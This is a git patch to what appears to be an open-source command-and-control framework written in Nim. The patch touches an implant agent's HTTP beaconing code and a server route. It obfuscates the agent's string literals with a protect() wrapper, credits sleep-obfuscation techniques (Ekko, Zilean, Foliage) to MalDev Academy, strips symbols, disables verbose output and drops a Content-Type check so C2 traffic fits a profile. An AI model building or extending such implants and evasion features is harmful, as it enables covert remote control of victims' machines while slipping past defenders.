From 7326cc10b61862461db6e0ea2b94a00c5c80cfc4 Mon Sep 17 00:00:00 2001 From: Jakob Friedl <71284620+jakobfriedl@users.noreply.github.com> Date: Thu, 23 Oct 2025 17:45:13 +0200 Subject: [PATCH] Removed POST header check interfering with C2 profile. --- src/agent/core/http.nim | 22 +++++++++++----------- src/agent/core/sleepmask.nim | 14 +++++++++----- src/agent/nim.cfg | 2 +- src/server/api/routes.nim | 6 ------ 4 files changed, 21 insertions(+), 23 deletions(-) diff --git a/src/agent/core/http.nim b/src/agent/core/http.nim index 6403bc2..9fce47d 100644 --- a/src/agent/core/http.nim +++ b/src/agent/core/http.nim @@ -8,10 +8,10 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string = var heartbeatString: string # Apply data transformation to the heartbeat bytes - case ctx.profile.getString(protect("http-get.agent.heartbeat.encoding.type"), default = "none") - of "base64": + case ctx.profile.getString(protect("http-get.agent.heartbeat.encoding.type"), default = protect("none")) + of protect("base64"): heartbeatString = encode(heartbeat, safe = ctx.profile.getBool(protect("http-get.agent.heartbeat.encoding.url-safe"))).replace("=", "") - of "none": + of protect("none"): heartbeatString = Bytes.toString(heartbeat) # Define request headers, as defined in profile @@ -30,14 +30,14 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string = # Add heartbeat packet to the request case ctx.profile.getString(protect("http-get.agent.heartbeat.placement.type")): - of "header": + of protect("header"): client.headers.add(ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name")), payload) - of "parameter": + of protect("parameter"): let param = ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name")) endpoint &= fmt"{param}={payload}&" - of "uri": + of protect("uri"): discard - of "body": + of protect("body"): discard else: discard @@ -63,15 +63,15 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string = suffix = ctx.profile.getString(protect("http-get.server.output.suffix")) encResponse = responseBody[len(prefix) ..^ len(suffix) + 1] - case ctx.profile.getString(protect("http-get.server.output.encoding.type"), default = "none"): - of "base64": + case ctx.profile.getString(protect("http-get.server.output.encoding.type"), default = protect("none")): + of protect("base64"): return decode(encResponse) - of "none": + of protect("none"): return encResponse except CatchableError as err: # When the listener is not reachable, don't kill the application, but check in at the next time - echo "[-] ", err.msg + print "[-] ", err.msg finally: client.close() diff --git a/src/agent/core/sleepmask.nim b/src/agent/core/sleepmask.nim index c17179e..d9e4d2f 100644 --- a/src/agent/core/sleepmask.nim +++ b/src/agent/core/sleepmask.nim @@ -4,11 +4,15 @@ import os, system, strformat, random import ../utils/[cfg, io] import ../../common/[types, utils, crypto] -# Different sleep obfuscation techniques, reimplemented in Nim (Ekko, Zilean, Foliage) -# The code in this file was taken from the new MalDev Academy modules and translated from C to Nim -# https://maldevacademy.com/new/modules/54 -# https://maldevacademy.com/new/modules/55 -# https://maldevacademy.com/new/modules/56 +#[ + Different sleep obfuscation techniques, reimplemented in Nim (Ekko, Zilean, Foliage) + The code in this file was taken from the new MalDev Academy modules and translated from C to Nim + + References: + - https://maldevacademy.com/new/modules/54 + - https://maldevacademy.com/new/modules/55 + - https://maldevacademy.com/new/modules/56 +]# type USTRING* {.bycopy.} = object diff --git a/src/agent/nim.cfg b/src/agent/nim.cfg index dbd1ded..b391a67 100644 --- a/src/agent/nim.cfg +++ b/src/agent/nim.cfg @@ -5,5 +5,5 @@ --passL:"-s" # Strip symbols, such as sensitive function names -d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" -d:MODULES="511" --d:VERBOSE="true" +-d:VERBOSE="false" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" \ No newline at end of file diff --git a/src/server/api/routes.nim b/src/server/api/routes.nim index 52a7086..8cb8815 100644 --- a/src/server/api/routes.nim +++ b/src/server/api/routes.nim @@ -120,12 +120,6 @@ proc httpGet*(request: Request) = proc httpPost*(request: Request) = {.cast(gcsafe).}: - # Check headers - # If POST data is not binary data, return 404 error code - if request.headers.get("Content-Type") != "application/octet-stream": - request.respond(404, body = "") - return - try: # Differentiate between registration and task result packet var unpacker = Unpacker.init(request.body)